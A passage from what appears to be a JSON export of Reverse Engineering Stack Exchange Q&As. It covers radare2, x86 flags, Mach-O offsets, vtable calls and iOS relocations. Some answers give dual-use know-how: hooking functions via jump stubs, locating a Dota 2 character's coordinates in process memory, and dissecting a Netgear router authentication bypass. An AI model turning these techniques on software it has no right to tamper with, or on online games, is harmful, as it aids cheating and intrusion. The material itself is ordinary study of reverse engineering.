[0x83f0:4]=0x8668\n\\           0x000083e0      e5ffffeb       bl sym.imp.__libc_start_main; int __libc_start_main(func main, int argc, char **ubp_av, func init, func fini, func rtld_fini, void *stack_end);\n[0x000083b8]&gt; f main @ 0x8470\n[0x000083b8]&gt; s main\n[0x00008470]&gt; VVV\n... miserable fail ...\n</code></pre>\n",
        "Title": "How to add a function symbol to a stripped executable with radare2?",
        "Tags": "|disassembly|radare2|",
        "Answer": "<p>I finally got the answer to my old question !</p>\n<p>So, basically Ian Kerr answer got most of it right, it was just missing a few bits of information. I will try to gather everything in this answer.</p>\n<p>Let say that we are going through a stripped binary, no symbol in sight and radare2 with us:</p>\n<pre><code>#&gt; r2 ./crackme\n[0x0804876c]&gt; pd\n    ;-- entry0:\n       ;-- section..text:\n       ;-- eip:\n       0x08048680      31ed           xor ebp, ebp\n       0x08048682      5e             pop esi\n       0x08048683      89e1           mov ecx, esp\n       0x08048685      83e4f0         and esp, 0xfffffff0\n       0x08048689      54             push esp\n       0x0804868b      6830880408     push 0x8048830\n       0x08048690      6840880408     push 0x8048840\n       0x08048695      51             push ecx\n       0x08048696      56             push esi\n       0x08048697      686c870408     push main          ; 0x804876c\n       0x0804869c      e87fffffff     call sym.imp.__libc_start_main\n       0x080486a1      f4             hlt\n       ...\n[0x08048680]&gt; f sym.main @ 0x804876c\n[0x08048680]&gt; aaa\n[x] Analyze all flags starting with sym. and entry0 (aa)\n[x] Analyze function calls (aac)\n...\n[x] Propagate noreturn information\n[x] Use -AA or aaaa to perform additional experimental analysis.\n[0x08048680]&gt; s sym.main\n[0x0804876c]&gt; pdf\n            ; DATA XREF from entry0 @ 0x8048697\n            ;-- sym.main:\n\u250c 96: int main (int argc, char **argv, char **envp);\n\u2502           ; var char *var_20h @ esp+0x4\n\u2502           ; var int32_t var_8h @ esp+0x1c\n\u2502           0x0804876c      55             push ebp\n...\n</code></pre>\n<p>To sum-up, you need:</p>\n<ol>\n<li><p>To find the address of the function you want to add. Here, we found <code>main()</code> thanks to <code>__libc_start_main()</code> at 0x804876c.</p>\n</li>\n<li><p>To set a symbol tagged with <code>sym.</code> in order to be recognized by radare2 as a symbol:</p>\n<p><code>f sym.main @ 0x804876c</code></p>\n</li>\n<li><p>To perform an analysis of the new symbol with <code>aaa</code>.</p>\n</li>\n<li><p>Then, to switch the focus to this symbol: <code>s sym.main</code></p>\n</li>\n<li><p>Finally, you can run <code>pdf</code> or <code>VV</code> as usual.</p>\n</li>\n</ol>\n<p>Enjoy!</p>\n"
    },
    {
        "Id": "15184",
        "CreationDate": "2017-04-18T21:12:07.343",
        "Body": "<p>I'm having trouble understanding the TEST instruction and its use. I'm looking at the following code at the end of a loop</p>\n\n<pre><code>0040A3D1   A9 00010181           TEST EAX,81010100\n0040A3D6   74 E8                 JE SHORT JinKu_ke.0040A3C0\n</code></pre>\n\n<p>I understand how it works TEST AL,AL or TEXT EAX,EAX,but I do not know how it works with numbers Because the JE instruction does not jump when I use 0x810100FE and also even when we use 0x81010102, but when I use 0x60E0FEFC and below JE instruction jump. </p>\n",
        "Title": "What does the `TEST` instruction do",
        "Tags": "|assembly|x86|",
        "Answer": "<h2>1. TEST</h2>\n\n<p>According to the <a href=\"http://x86.renejeschke.de/html/file_module_x86_id_315.html\" rel=\"noreferrer\">x86 Instruction Set Reference entry for TEST</a> found at <a href=\"http://x86.renejeschke.de/\" rel=\"noreferrer\">http://x86.renejeschke.de/</a>,</p>\n\n<p><a href=\"https://i.stack.imgur.com/uHR2k.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/uHR2k.png\" alt=\"TEST\"></a></p>\n\n<blockquote>\n  <p>[TEST] computes the bit-wise logical AND of first operand (source 1 operand) and the second operand (source 2 operand) and sets the SF, ZF, and PF status flags according to the result. The result is then discarded.</p>\n</blockquote>\n\n<p>More succinctly:</p>\n\n<blockquote>\n  <p>AND imm32 with EAX; set SF, ZF, PF according to result.</p>\n</blockquote>\n\n<p>Even more succinctly:</p>\n\n<blockquote>\n  <p>the AND instruction without storing the result</p>\n</blockquote>\n\n<p>So for </p>\n\n<blockquote>\n  <p><code>0040A3D1   A9 00010181           TEST EAX,81010100</code></p>\n</blockquote>\n\n<p>the value in <code>EAX</code> and <code>81010100</code> are ANDed together. </p>\n\n<p>If the value in <code>EAX</code> is <code>0x810100FE</code>, the operation looks like this:</p>\n\n<pre><code>EAX:                    10000001000000010000000011111110\n0x81010100:         AND 10000001000000010000000100000000\n                    ------------------------------------\n0x81010000:             10000001000000010000000000000000\n</code></pre>\n\n<p>The result, <code>81010000</code>, is not 0, so the zero flag is not set.</p>\n\n<p>If the value in <code>EAX</code> is <code>0x60E0FEFC</code> the operation looks like this:</p>\n\n<pre><code>EAX:                    01100000111000001111111011111100\n0x81010100:         AND 10000001000000010000000100000000\n                    ------------------------------------\n                        00000000000000000000000000000000\n</code></pre>\n\n<p>Here the result is 0, so the zero flag (ZF) is set to 1.</p>\n\n<h2>2. JE</h2>\n\n<p>According to the <a href=\"http://x86.renejeschke.de/html/file_module_x86_id_146.html\" rel=\"noreferrer\"> x86 Instruction Set Reference entry for JE</a> found at <a href=\"http://x86.renejeschke.de/\" rel=\"noreferrer\">http://x86.renejeschke.de/</a>,</p>\n\n<p><a href=\"https://i.stack.imgur.com/ZG53X.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/ZG53X.png\" alt=\"JE\"></a></p>\n\n<blockquote>\n  <p>[JCC] checks the state of one or more of the status flags in the EFLAGS register (CF, OF, PF, SF, and ZF) and, if the flags are in the specified state (condition), performs a jump to the target instruction specified by the destination operand. A condition code (cc) is associated with each instruction to indicate the condition being tested for. If the condition is not satisfied, the jump is not performed and execution continues with the instruction following the Jcc instruction.</p>\n</blockquote>\n\n<p>In the case of 'JE' specifically,</p>\n\n<blockquote>\n  <p>Jump short if equal (ZF=1). </p>\n</blockquote>\n\n<p>For the operation </p>\n\n<blockquote>\n  <p><code>0040A3D1   A9 00010181           TEST EAX,81010100</code></p>\n</blockquote>\n\n<ul>\n<li><p>if the value in <code>EAX</code> is <code>0x81010102</code>, the zero flag (ZF) does not get set (see above), so flow of control does not branch here.</p></li>\n<li><p>if the value in <code>EAX</code> is <code>0x60E0FEFC</code>, the zero flag (ZF) is set to 1 (see above). As a result, flow of control branches at this point (EIP jumps).</p></li>\n</ul>\n\n<h2>Summary</h2>\n\n<ul>\n<li><code>TEST</code> is like <code>AND</code>, but the results of the operation are not saved. Only the PF, SF and ZF flags are set.</li>\n<li>the zero flag (ZF) is set to 1 if the results of an arithmetic or logical operation (like <code>TEST</code>) are 0.</li>\n<li><code>JE</code> causes <code>EIP</code> to jump if ZF = 1.</li>\n<li>if the value in <code>EAX</code> is <code>0x81010102</code>, the zero flag (ZF) does not get set, so flow of control does not branch here.</li>\n<li>if the value in <code>EAX</code> is <code>0x60E0FEFC</code>, the zero flag (ZF) is set to 1. As a result, flow of control branches at this point (EIP jumps).</li>\n</ul>\n"
    },
    {
        "Id": "15190",
        "CreationDate": "2017-04-20T14:06:56.590",
        "Body": "<p>So im wondering how i can retrieve the adress of the definition instead of the adress of the declaration via dereferencing the startaddress of a c++ function.</p>\n\n<p>To be more concrete:</p>\n\n<p>My function to retrieve the address of the function:</p>\n\n<p><a href=\"https://i.stack.imgur.com/CeD7A.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/CeD7A.png\" alt=\"enter image description here\"></a></p>\n\n<p>I have this function i want to hook:</p>\n\n<p><a href=\"https://i.stack.imgur.com/mc2Mf.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mc2Mf.png\" alt=\"enter image description here\"></a></p>\n\n<p>So to retrieve the address of <code>whereHookGoes</code> i did :\n<a href=\"https://i.stack.imgur.com/4fj7M.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/4fj7M.png\" alt=\"enter image description here\"></a></p>\n\n<p>which returns:</p>\n\n<p><a href=\"https://i.stack.imgur.com/dErfu.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/dErfu.png\" alt=\"enter image description here\"></a></p>\n\n<p>Which is the declaration of <code>whereHookGoes</code> .\n<a href=\"https://i.stack.imgur.com/mJHIj.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mJHIj.png\" alt=\"enter image description here\"></a></p>\n\n<p>But i want the address of the definition so i can hook a call instruction within the function.</p>\n\n<p>Is there anyway how i can retrieve the address of the definition from here?</p>\n\n<p>If you need any more information please tell me and i will provide.</p>\n",
        "Title": "How to get the address of a function definition?",
        "Tags": "|disassembly|c++|function-hooking|",
        "Answer": "<p>The address you get <em>is</em> the function definition from the compiler's point of view. It seems you're dealing with an executable compiled with incremental linking enabled (default in Debug builds). When incremental linking is on, the linker generates jump stubs for all functions and refers to them instead of \"real\" function bodies; this allows it to replace just the jump to point to the new/updated function body on next link and to not have to update all other references to the function (since they all go to the jump) which speeds up linking, especially with big projects.</p>\n\n<p>So, you have the following options:</p>\n\n<ol>\n<li>Compile the target with incremental linking disabled.</li>\n<li>Detect this situation (e.g. check if first byte is E9) and follow the jump to the actual function body. </li>\n<li>Patch the jump to point to your hook, then jump back to the final target.</li>\n</ol>\n"
    },
    {
        "Id": "15204",
        "CreationDate": "2017-04-22T21:32:11.623",
        "Body": "<p>Here is the program which <code>gdb</code> is attached to:</p>\n<p><strong>prog.c</strong></p>\n<pre><code>#include &lt;stdio.h&gt;\n\nvoid dummy(char* s)\n{\n\n}\n\nint main()\n{\n    char buf[512];\n    scanf(&quot;%s&quot;, buf);\n    printf(&quot;%s\\n&quot;, buf);\n    dummy(buf);\n    return 0;\n}\n</code></pre>\n<p>It is compiled with:</p>\n<pre><code>gcc prog.c o prog\n</code></pre>\n<p>This is the script which drives the program:</p>\n<pre><code>from pwn import *\n\np = process(&quot;./prog&quot;)\nraw_input('&gt;&gt;')\np.sendline('A')\n</code></pre>\n<p>Here's the sequence of operation I perform:</p>\n<ol>\n<li>Run the script in one bash tab. It launches <code>prog</code></li>\n<li>In another bash tab: <code>sudo gdb -p `pgrep prog` </code>. <code>gdb</code> attaches itself to the running process</li>\n<li>Set a breakpoint on <code>dummy</code> call in <code>gdb</code>: <code>b dummy</code></li>\n<li>Press <code>c</code> in <code>gdb</code> to continue</li>\n<li>Hit <kbd>Enter</kbd> in the script to continue</li>\n<li><code>gdb</code> gives up by saying: <code>0x000056446a5af764 &lt;dummy+4&gt;:    Cannot access memory at address 0x56446a5af764</code></li>\n</ol>\n<p><a href=\"https://i.stack.imgur.com/RedOd.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/RedOd.png\" alt=\"enter image description here\" /></a></p>\n<p>If instead of feeding the input programmatically, I launch the program manually, attach gdb and feed the input myself, the breakpoint is correctly hit.</p>\n<p><a href=\"https://i.stack.imgur.com/rYOEA.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/rYOEA.png\" alt=\"enter image description here\" /></a></p>\n<p>What is the problem in the script?</p>\n",
        "Title": "Why can't gdb read memory if pwntools is used to send input?",
        "Tags": "|gdb|",
        "Answer": "<p>The process dies before/while <code>gdb</code> connects to it, as your python script finishes. Use the following line at the end of your script to keep it running.</p>\n<pre><code>p.interactive()\n</code></pre>\n"
    },
    {
        "Id": "15216",
        "CreationDate": "2017-04-25T18:09:40.483",
        "Body": "<p>Sometimes i see such lines. What do they mean, such syntax? </p>\n\n<blockquote>\n  <p>(*(void (__fastcall **)(int, int))(*(_DWORD *)v2 + 24))(v2, v4);</p>\n</blockquote>\n\n<pre><code>int __fastcall sub_1(int a1, int a2)\n{\n  int v2; // r4@1\n  int v3; // r5@1\n  int v4; // r6@1\n  int v5; // r0@2\n  int v6; // r0@2\n  unsigned int v7; // r0@4\n  int v8; // r5@8\n\n  v2 = a2;\n  v3 = a1;\n  sub_2(a2);\n  v4 = *(_BYTE *)(sub_3(*(_DWORD *)(v3 + 1684)) + 13);\n  (*(void (__fastcall **)(int, int))(*(_DWORD *)v2 + 24))(v2, v4);\n  if ( v4 )\n  {\n    (*(void (__fastcall **)(int, _DWORD))(*(_DWORD *)v2 + 56))(v2, *(_DWORD *)(v3 + 1700));\n</code></pre>\n",
        "Title": "IDA hexrays decompiler",
        "Tags": "|ida|decompilation|",
        "Answer": "<p>It's very likely what you're looking at is a virtual method call on a class. </p>\n\n<p>Virtual methods are usually implemented by the use of a pointer to a table of function pointers. The pointer is added at the beginning of the class data and is added transparently by the compiler if a class has a virtual method.</p>\n\n<p>First it casts v2 to a pointer to a DWORD, reads the DWORD (vtable pointer), adds 24 to the vtable base pointer, reads the pointer to the method at offset 24 in the vtable, casts that to a function pointer and calls it. </p>\n\n<p>Since v2 is both used to locate the vtable pointer and passed as the first argument it's likely the this pointer.</p>\n"
    },
    {
        "Id": "15221",
        "CreationDate": "2017-04-26T07:52:10.527",
        "Body": "<p>Hello reverse engineers,</p>\n\n<p>I am reverse engineering a Mach-O executable for iOS.\nFile says: Mach-O universal binary with 2 architectures: [arm_v7: Mach-O arm_v7 executable] [64-bit architecture=12].\nI need to convert a virtual address to a file offset in a Mach-O file.\nIn IDA, I see some data in the data segment with the virtual address 0x0000000100366720, which I want to read with a C program.</p>\n\n<p>Using hexdump -C -v, I saw that the virtual address corresponds with the file offset 0xa9a720:</p>\n\n<pre><code>00a9a720  89 00 00 00 00 00 00 00  50 b7 39 00 01 00 00 00  |........P.9.....|\n00a9a730  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00a9a740  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00a9a750  70 22 12 00 01 00 00 00  50 53 12 00 01 00 00 00  |p\"......PS......|\n00a9a760  58 53 12 00 01 00 00 00  00 00 00 00 00 00 00 00  |XS..............|\n00a9a770  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00a9a780  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00a9a790  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00a9a7a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00a9a7b0  00 00 00 00 00 00 00 00  80 57 12 00 01 00 00 00  |.........W......|\n00a9a7c0  98 cf 32 00 01 00 00 00  94 cf 32 00 01 00 00 00  |..2.......2.....|\n00a9a7d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00a9a7e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00a9a7f0  00 67 36 00 01 00 00 00  c0 cf 32 00 01 00 00 00  |.g6.......2.....|\n00a9a800  20 54 12 00 01 00 00 00  7c 57 12 00 01 00 00 00  | T......|W......|\n00a9a810  38 ce 32 00 01 00 00 00  10 ce 32 00 01 00 00 00  |8.2.......2.....|\n00a9a820  34 ce 32 00 01 00 00 00  f0 53 12 00 01 00 00 00  |4.2......S......|\n00a9a830  51 00 00 00 e8 03 00 00  2c 00 00 00 25 00 00 00  |Q.......,...%...|\n00a9a840  46 00 00 00 ff 29 11 17  00 00 00 00 4b 17 00 00  |F....)......K...|\n00a9a850  80 00 00 00 08 00 00 00  08 00 00 00 0a 00 00 00  |................|\n00a9a860  00 00 00 00 0f 00 00 00  28 1b 00 00 d0 03 00 00  |........(.......|\n00a9a870  c8 02 00 00 a0 01 00 00  00 00 00 00 58 02 00 00  |............X...|\n00a9a880  a8 02 00 00 d8 01 00 00  00 00 00 00 50 01 00 00  |............P...|\n00a9a890  48 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |H...............|\n00a9a8a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00a9a8b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00a9a8c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00a9a8d0  00 00 00 00 29 da f5 21  a1 b5 7a bf e9 7a d7 5b  |....)..!..z..z.[|\n00a9a8e0  3a 97 49 72 00 00 00 00  20 67 36 00 01 00 00 00  |:.Ir.... g6.....|\n00a9a8f0  f0 e2 32 00 01 00 00 00  20 e3 32 00 01 00 00 00  |..2..... .2.....|\n</code></pre>\n\n<p>Using IDA:</p>\n\n<pre><code>0000000100366720  89 00 00 00 00 00 00 00  50 B7 39 00 01 00 00 00  ........P.9.....\n0000000100366730  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................\n0000000100366740  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................\n0000000100366750  70 22 12 00 01 00 00 00  50 53 12 00 01 00 00 00  p\"......PS......\n0000000100366760  58 53 12 00 01 00 00 00  00 00 00 00 00 00 00 00  XS..............\n0000000100366770  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................\n0000000100366780  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................\n0000000100366790  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................\n00000001003667A0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................\n00000001003667B0  00 00 00 00 00 00 00 00  80 57 12 00 01 00 00 00  .........W......\n00000001003667C0  98 CF 32 00 01 00 00 00  94 CF 32 00 01 00 00 00  ..2.......2.....\n00000001003667D0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................\n00000001003667E0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................\n00000001003667F0  00 67 36 00 01 00 00 00  C0 CF 32 00 01 00 00 00  .g6.......2.....\n0000000100366800  20 54 12 00 01 00 00 00  7C 57 12 00 01 00 00 00   T......|W......\n0000000100366810  38 CE 32 00 01 00 00 00  10 CE 32 00 01 00 00 00  8.2.......2.....\n0000000100366820  34 CE 32 00 01 00 00 00  F0 53 12 00 01 00 00 00  4.2......S......\n0000000100366830  51 00 00 00 E8 03 00 00  2C 00 00 00 25 00 00 00  Q.......,...%...\n0000000100366840  46 00 00 00 FF 29 11 17  00 00 00 00 4B 17 00 00  F....)......K...\n0000000100366850  80 00 00 00 08 00 00 00  08 00 00 00 0A 00 00 00  ................\n0000000100366860  00 00 00 00 0F 00 00 00  28 1B 00 00 D0 03 00 00  ........(.......\n0000000100366870  C8 02 00 00 A0 01 00 00  00 00 00 00 58 02 00 00  ............X...\n0000000100366880  A8 02 00 00 D8 01 00 00  00 00 00 00 50 01 00 00  ............P...\n0000000100366890  48 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  H...............\n00000001003668A0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................\n00000001003668B0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................\n00000001003668C0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................\n00000001003668D0  00 00 00 00 29 DA F5 21  A1 B5 7A BF E9 7A D7 5B  ....)..!..z..z.[\n00000001003668E0  3A 97 49 72 00 00 00 00  20 67 36 00 01 00 00 00  :.Ir.... g6.....\n00000001003668F0  F0 E2 32 00 01 00 00 00  20 E3 32 00 01 00 00 00  ..2..... .2.....\n</code></pre>\n\n<p>In the post <a href=\"https://reverseengineering.stackexchange.com/questions/8177/convert-mach-o-vm-address-to-file-offset\">Convert Mach-O VM Address To File Offset</a> this formula is mentioned:</p>\n\n<blockquote>\n  <p>you need to find the segment (LC_SEGMENT) load command which covers\n  the address, then do something like this:</p>\n  \n  <p>fle_off = (address-seg.address)+ seg.offset</p>\n</blockquote>\n\n<p>I have this load command in my Mach-O header:</p>\n\n<pre><code>HEADER:0000000100000380 ; LC_SEGMENT_64 - 64-bit segment of this file to be mapped\nHEADER:0000000100000380                 segment_command_64 &lt;0x19, 0x5E8, \"__DATA\", 0x100360000, 0x50000, \\\nHEADER:0000000100000380                                     0x360000, 0xC000, 3, 3, 0x12, 0&gt;\n</code></pre>\n\n<p>If I fill in the formula:\nfle_off = (0x0000000100366720 - 0x100360000) + 0x360000 = 0x366720</p>\n\n<p>The result is not the same file offset as 0xa9a720, which I found out using hexdump.\nIt seems like I just calculated the offset from the base address.\nWhat am I doing wrong?</p>\n",
        "Title": "Mach-O : Convert virtual address to file offset on disk",
        "Tags": "|ida|c|ios|mach-o|",
        "Answer": "<p>The offsets in the <code>LC_SEGMENT</code> command are counted from the beginning of the Mach-O header in the file. Normally the Mach-O header is at file offset 0, however OS X and iOS support so-called <a href=\"https://en.wikipedia.org/wiki/Fat_binary\" rel=\"nofollow noreferrer\">\"fat\" files</a> which can contain several Mach-O files (usually for different architectures). You need to account for that and add a corresponding delta to the file offset, or, alternatively, extract the subfile you're interested in (e.g. using <code>lipo</code>) and work on a single file directly.</p>\n"
    },
    {
        "Id": "15235",
        "CreationDate": "2017-04-27T09:52:47.500",
        "Body": "<p>I was looking at <a href=\"http://www.shellshocklabs.com/2015/09/part-1en-hacking-netgear-jwnr2010v5.html\" rel=\"nofollow noreferrer\">writeup</a> on Netgear N300 authentication bypass vulnerability and I have found some inconsistencies in the article with my understanding of it. I want a second opinion on this because I'm not very good at reading MIPS disassembly. </p>\n\n<p>I have problem with two statements from article</p>\n\n<blockquote>\n  <p>As you can see in the following image if the url contains the string ( BRS_netgear_success.html ) it moves to an interesting piece of code which sets two variables in the nvram to 0 (need_not_login and start_in_blankstate)</p>\n</blockquote>\n\n<p>As far as I can tell the nvram_set function sets the first variable \"need_not_login\" to '0' (ascii) taken from asc_40B7A8, but I think the second one \"start_in_blankstate\" is set to '1'. Because the $a1 is set to value from aGate_interf+0x18. I think this is some sort of compiler optimization. aGate_interf starts at 0x40BCA8 when we add 0x18 we get 0x40BCC0 which points to char '1'. Here is the disassembly that shows this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/SecuA.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SecuA.png\" alt=\"nvram_set for start_in_blankstate\"></a><br>\nand aGate_interf+0x18:\n<a href=\"https://i.stack.imgur.com/fzhng.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/fzhng.png\" alt=\"aGate_interf+0x18\"></a></p>\n\n<p>The second mistake is also related to this. The author claims that when value of 'start_in_blankstate' is different from '1' then login is bypassed. </p>\n\n<blockquote>\n  <p>If yes, we find a reference to start_in_blankstate where it's compared to be different to 1 and if yes the login is bypassed:</p>\n</blockquote>\n\n<p>But that doesn't make sense to me. As I understand it nvram_get loads the value of 'start_in_blankstate' to $v0 then it's copied to $v1 and $v0 is loaded with '1'. They are compared at 0x403940. There is bne instruction so if they don't equal it's true (take green) if they equal it's false (take red) and bypass authentication. It can be seen here:\n<a href=\"https://i.stack.imgur.com/hsUUp.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/hsUUp.png\" alt=\"auth bypass\"></a></p>\n\n<p>Also this rather fits the variable name \"start_in_blankstate\" that when this is set to 1 the router was not started yet and is in blank state, so bypass login and user can set his password. Is my understanding of this correct or was the author right?</p>\n",
        "Title": "Netgear n300 auth bypass vulnerability",
        "Tags": "|disassembly|firmware|mips|",
        "Answer": "<p>As far as I can see given the data you provided you're right on both accounts, If I understand you correctly.</p>\n\n<p>Two things to note, though:</p>\n\n<ul>\n<li><p>The value in <code>aGate_interf+0x18</code> is indeed the value set to <code></code>start_in_blankstate`, but it's not too clear what's the value there, given the second image.</p></li>\n<li><p>If <code>start_in_blankstate</code> equals \"1\" the branch is not taken, and execution continues to the strcmp` call (which might be a password validation?).</p></li>\n</ul>\n\n<p>This might be a patched version, or some error in the article. It does look a bit like it was copied from someplace else or that the link to the firmware download was added later on without validation.</p>\n"
    },
    {
        "Id": "15247",
        "CreationDate": "2017-04-28T18:54:44.747",
        "Body": "<p>I'm using at&amp;t ordering\nI came across this a little while ago and while i understand why we want to push a stack frame when we call a new routine I don't see why it was done here:   (for the example i'm looking at static code and the jmp address is just an example and arbritrary)</p>\n\n<pre><code>pushq %rbp\nmovq %rsp, %rbp\npop %rbp\njmp $0x10002135a\nnopw(%rax, %rax)\n</code></pre>\n\n<p>so It turns out the next instruction after the nop is a new function entry so I surmise the nop stuff was done to achieve some sort of alignment.  When I go and look at the jumped address I get a real stack frame (standard series of pushes, register saves, etc and at the end of the function standard pops and does the retq.</p>\n\n<p><strong>What did we gain by doing the push/pop sequence?</strong> </p>\n\n<p>The only thing i can think of is because it does the pop before the jump is that when the other does the retq it might be returning to the rbp prior to this little bit of code.  It's as if this little bit of jmp code never existed?  if so why have this little bit of code here in the first place?  Or perhaps at runtime the jmp address will occupy more bytes and spill into the nopw area?  just guessing.</p>\n\n<p>It almost looks like its a template or a macro that is doing nothing since the pop is restoring the original base pointer that was saved.  Or is this more along the lines of the compiler trying to get things aligned?</p>\n\n<p>We got to this point via a jmp.</p>\n",
        "Title": "whats the purpose of this code snippet?",
        "Tags": "|assembly|osx|stack|",
        "Answer": "<p>This is most likely an optimized <a href=\"https://en.wikipedia.org/wiki/Tail_call\" rel=\"nofollow noreferrer\">tail call</a>. The original code probably looked similar to this:</p>\n\n<pre><code>int f1()\n{\n//some code which was optimized out\n  return f2();// &amp;f2=0x10002135a\n}\n</code></pre>\n\n<p>Since there is no code after calling <code>f2</code>, there is no need to perform any additional actions, so the compiler <em>restored the original stack pointer</em> and <em>jumped</em> to <code>f2</code> instead of performing the call. Since the stack was restored, the address of return from <code>f1</code> is at the top of the stack, so when <code>f2</code> returns, it will <em>return to the place <code>f1</code> was called from</em>. This trick saves a few instructions compared to the non-optimized \"call f2 then return\" sequence.</p>\n\n<p>Now, the compiler could also just remove all stack manipulation completely and leave just the jump, but possibly some other considerations prevented that (e.g. frame pointer omission optimization was turned off which made it insert <code>ebp</code> initialization in all functions, even those not using it).</p>\n"
    },
    {
        "Id": "15250",
        "CreationDate": "2017-04-29T19:16:14.613",
        "Body": "<p>Today I used IDA on a owned compiled software.\nI notice that IDA show me comment (ascii char) on immediates values as on this screenshoot below :\n<a href=\"https://i.stack.imgur.com/WghPl.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/WghPl.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>This is the first time I saw it automaticaly. What is the option the enable it ? Most of the time I must add ascii value comment manually...</p>\n\n<p>Regards</p>\n",
        "Title": "IDA, how to show ascii comment on immediate values?",
        "Tags": "|ida|",
        "Answer": "<p>You need to enable \"auto comments\" <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/1369.shtml\" rel=\"nofollow noreferrer\">https://www.hex-rays.com/products/ida/support/idadoc/1369.shtml</a></p>\n\n<p>BTW you can write your own auto-commenting scripts like <a href=\"https://www.hex-rays.com/products/ida/support/tutorials/idc/autocomment.shtml\" rel=\"nofollow noreferrer\">https://www.hex-rays.com/products/ida/support/tutorials/idc/autocomment.shtml</a></p>\n"
    },
    {
        "Id": "15252",
        "CreationDate": "2017-04-30T01:00:24.520",
        "Body": "<p>I'm trying to reverse engineer an online game (Dota 2) to get some more info and build a personal assistant with friendlier/ advanced info about my character. First I'm trying to find out the player location on the map. I thought of trying to read and profile the client.exe to find where in the memory it stores the character location, but I truly don't know where to start.</p>\n\n<p>I can run it with OllyDbg and start looking for changing values as the character moves, but since many other values in the game also change, it would take me days to find out which is it. So I figured maybe there is a better way. How to get started with this?</p>\n",
        "Title": "How to reverse Engineer a game character position on a map",
        "Tags": "|ollydbg|",
        "Answer": "<p>Most easiest way is to search something like a ladder to climb on. Everytime you are going up or down, search for in- or decreased float value. This will give you the y-coordinate in the end. That offset taken, add 4 bytes to get z- and substract 4 bytes to get x-coordinate. Using ReClass you can even try to find the base object for your and other players.</p>\n"
    },
    {
        "Id": "15266",
        "CreationDate": "2017-05-02T17:26:25.300",
        "Body": "<p>I'm reversing few iOS Mach-O application executables these days and all of them use Position-independent code (PIC; the MH_PIC flag is set). I've been expecting a large number of relocation entries (just like with Windows PE or Android ELF) but all the executables contain zero relocations (well, at least the <code>__text</code> section I'm interested in).</p>\n\n<p>The <a href=\"https://developer.apple.com/library/content/documentation/DeveloperTools/Conceptual/MachOTopics/1-Articles/dynamic_code.html\" rel=\"nofollow noreferrer\">oficial docs</a> say that this is because the segments are always located at a constant offset from each other and that makes sense to me.</p>\n\n<p>However, can I take this for granted? Do all typical iOS applications contain no relocations because all the code and data are usually located in one binary (i. e., dynamic libraries are usually not used)?</p>\n",
        "Title": "iOS Position-independent code and relocations",
        "Tags": "|ios|mach-o|pie|",
        "Answer": "<p>The Mach-O format does support relocations but they appear rarely outside of the object files; usually linker does pretty good job using PIC addressing inside the final linked module. \nAs for imports from other libraries on iOS, they don't use relocations anymore but special tables handled by the dynamic loader (dyld). I've described how they work <a href=\"https://stackoverflow.com/a/8836580\">previously</a>. For even more gruesome details see dyld sources and inspect actual binaries. </p>\n"
    },
    {
        "Id": "15270",
        "CreationDate": "2017-05-03T18:18:22.670",
        "Body": "<p>In windows and linux x86 (including x86_64) world, is there any legitimate binary (i.e., a program binary generated by the typical compiling-assembling-linking flow and no manual editing on binary after it is generated) that will have RWX memory pages after being loaded? If yes, what are the use cases?</p>\n",
        "Title": "legitimate memory pages that are marked as RWX?",
        "Tags": "|x86|memory|binary|",
        "Answer": "<p>Just-In-Time Compilation support could be one reason for pages to be legitimately marked RWX.  In iOS MobileSafari is one of a small number of Apple apps that has a \"dynamic codesigning\" entitlement which allows for the RWX pages to be mapped.  Despite the potential danger, JavaScript performance is too important to not have these pages.  This makes Safari a desirable target for exploits.  For more information on a recent iOS exploit that attacked Safari for its RWX pages read the <a href=\"https://info.lookout.com/rs/051-ESQ-475/images/pegasus-exploits-technical-details.pdf\" rel=\"nofollow noreferrer\">Pegasus Technical Report</a></p>\n"
    },
    {
        "Id": "15275",
        "CreationDate": "2017-05-04T03:45:23.907",
